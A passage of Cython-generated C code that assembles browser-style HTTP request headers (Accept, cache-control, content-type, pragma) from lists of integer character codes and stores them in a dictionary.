    __Pyx_GIVEREF(__pyx_int_57);
    PyList_SET_ITEM(__pyx_t_15, 52, __pyx_int_57);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 53, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 55, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 56, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 57, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 58, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 59, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 60, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 61, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 62, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 63, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 64, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 65, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 66, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 67, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 68, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 69, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 70, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 71, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 72, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 73, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 74, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 75, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 76, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 77, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 78, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 79, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 80, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 81, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 82, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 83, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 84, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 85, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 86, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_15, 87, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 88, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_15, 89, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 90, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 91, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 92, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 93, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 94, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_15, 95, __pyx_int_56);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 96, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 97, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 98, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 99, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 100, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 101, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 102, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 103, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 104, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 105, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 106, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 107, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 108, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 109, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 110, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 111, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 112, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 113, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 114, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 115, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 116, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 117, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 118, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 119, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 120, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 121, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 122, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 123, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 124, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 125, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 126, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 127, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_51);
    __Pyx_GIVEREF(__pyx_int_51);
    PyList_SET_ITEM(__pyx_t_15, 128, __pyx_int_51);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 129, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 130, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 131, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 132, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 133, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_55);
    __Pyx_GIVEREF(__pyx_int_55);
    PyList_SET_ITEM(__pyx_t_15, 134, __pyx_int_55);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_108);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_101);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 446, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_101);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(33); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_100);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 447, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 445, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 448, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_97);
